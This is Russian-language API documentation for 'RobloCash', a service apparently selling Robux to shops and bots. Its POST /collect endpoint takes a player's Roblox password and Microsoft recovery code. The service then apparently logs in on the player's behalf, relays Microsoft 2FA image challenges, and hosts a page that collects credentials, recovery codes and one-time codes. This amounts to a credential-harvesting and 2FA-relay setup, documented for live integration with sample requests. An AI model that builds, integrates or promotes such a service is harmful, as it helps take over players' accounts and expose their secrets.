RobloCash API
Документация для разработчиков, подключающих магазин или бота к RobloCash.
Быстрый старт
От нуля до первого заказа — за 10 минут.
- Получите X-Api-Key (sk_live_...) и {BASE_URL}.
- Проверьте доступность: GET {BASE_URL}/health → "ok": true.
- Отправьте POST {BASE_URL}/collect с login, password, donat и recovery_code.
- Получите 201 с verification_in_progress: true.
- Дождитесь коллбека collect.completed на ваш callback_url.
curl -s -X POST "{BASE_URL}/collect" \
-H "Content-Type: application/json" \
-H "X-Api-Key: sk_live_your_key" \
-H "Idempotency-Key: order-20260518-001" \
-H "X-Request-ID: req-20260518-001" \
-d '{
"login": "PlayerOne",
"password": "secret_password",
"donat": 500,
"recovery_code": "ABCD-EFGH-1234",
"callback_url": "https://your-server.example/hooks/buffer"
}'
Аутентификация
Только для POST /collect и POST /collect/challenge:
X-Api-Key: sk_live_your_key
Или:
Authorization: Bearer sk_live_your_key
Неверный ключ → 401 Authentication Failed
GET /health
Проверка доступности. API-ключ не требуется.
curl -s "{BASE_URL}/health"
{
"ok": true,
"status": "up",
"correlation_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"collect_queue": {
"active": 0,
"waiting": 0,
"max_concurrent": 4
}
}
POST /collect
Создать заказ Robux и запустить верификацию Microsoft 2FA.
Тело запроса
| Поле | Тип | Обязательно | Описание |
|---|---|---|---|
login |
string | Да | Roblox username |
password |
string | Да* | Пароль аккаунта (*опционален при hosted verification) |
donat |
integer | Да | Номинал Robux — список |
recovery_code |
string | Да | Резервный код Microsoft, 8–16 символов |
callback_url |
string | Нет | HTTPS URL для коллбеков |
two_factor_code и session_id не поддерживаются → 400.
Ответ 201 — верификация в процессе
{
"ok": true,
"order_id": "ord_xxxxxxxx",
"verification_in_progress": true,
"donat": 500,
"bundle_description": "Requested 500 R$: 500 R$",
"correlation_id": "req-20260518-001",
"callback_registered": true,
"verification_url": "{BASE_URL}/v/tok_xxxxxxxx"
}
Пока verification_in_progress: true, поле status отсутствует — это не финал.
Ответ после завершения
status: success — верификация пройдена, Robux доставляются.
status: fail — ошибка. Смотрите credential_note и requires_new_request.
{
"ok": true,
"status": "success",
"verification_in_progress": false,
"order_id": "ord_xxxxxxxx",
"order_status": "completed",
"donat": 500,
"bundle_description": "Requested 500 R$: 500 R$",
"correlation_id": "req-20260518-001"
}
Что делать при status: fail
| Ситуация | Действие |
|---|---|
| Неверный recovery code | Новый POST /collect с исправленным кодом и новым Idempotency-Key |
requires_new_request: true |
Новый заказ: новый ключ + исправленные данные |
invalid_credentials_exhausted |
Лимит попыток логина — только новый заказ |
Номиналы donat
Полный список — на странице Номиналы. Другое значение → 400.
Идемпотентность
- Каждый новый заказ — свой
Idempotency-Key(UUID или уникальная строка). - Повтор с тем же ключом и тем же телом → тот же ответ +
"idempotent_replay": true. - Тот же ключ с другим телом → 409.
Game challenge
Когда Microsoft запрашивает выбор плиток на изображении:
- Ответ
POST /collectсодержитawaiting_game_challenge: trueиgame_challenge. - Покажите изображение:
GET /challenges/{token}.png(требует API-ключ). - Отправьте выбор:
POST /collect/challengeсorder_idиgame_choice_ids.
Webhooks
RobloCash отправляет POST на ваш callback_url. Ваш сервер должен ответить 2xx в течение ~15 секунд.
| event_type | Когда | Что смотреть |
|---|---|---|
collect.completed |
Верификация завершена | status: success / fail |
order.completed |
Robux доставлены | status: success |
order.failed |
Ошибка доставки | status: fail |
Подпись: заголовок X-Buffer-Signature (HMAC-SHA256) при настроенном CLIENT_WEBHOOK_SECRET.
{
"object": "buffer_callback",
"event_type": "collect.completed",
"status": "success",
"correlation_id": "req-20260518-001",
"order_id": "ord_xxxxxxxx",
"donat": 500,
"bundle_description": "Requested 500 R$: 500 R$",
"source": "buffer",
"created_at": 1715000000,
"data": {
"collect": {
"ok": true,
"status": "success",
"order_id": "ord_xxxxxxxx",
"donat": 500,
"verification_in_progress": false,
"order_status": "completed"
}
}
}
Страница верификации /v/{token}
При включённом BUFFER_VERIFICATION_PAGE=1 в ответе POST /collect возвращается verification_url.
GET /v/{token}— HTML-страница для покупателяGET /v/{token}/state— JSON-состояние (polling)POST /v/{token}/submit— отправка credentials, recovery, OTP, выбор метода 2FAGET /v/{token}/challenge.png— изображение game challenge
Коды HTTP
| Код | Когда |
|---|---|
| 200 | GET /health |
| 201 | Заказ создан, верификация запущена |
| 400 | Неверный JSON или поля |
| 401 | Неверный API-ключ |
| 403 | Доступ запрещён (IP allowlist) |
| 409 | Конфликт Idempotency-Key |
| 429 | Rate limit |
| 502, 504 | Временный сбой — повторите с тем же Idempotency-Key |
Заголовки запроса
| Заголовок | Когда | Описание |
|---|---|---|
Content-Type |
POST | application/json |
X-Api-Key |
/collect | Ключ доступа |
Idempotency-Key |
Рекомендуется | Уникальный ID заказа |
X-Request-ID |
По желанию | Ваш ID; вернётся в correlation_id |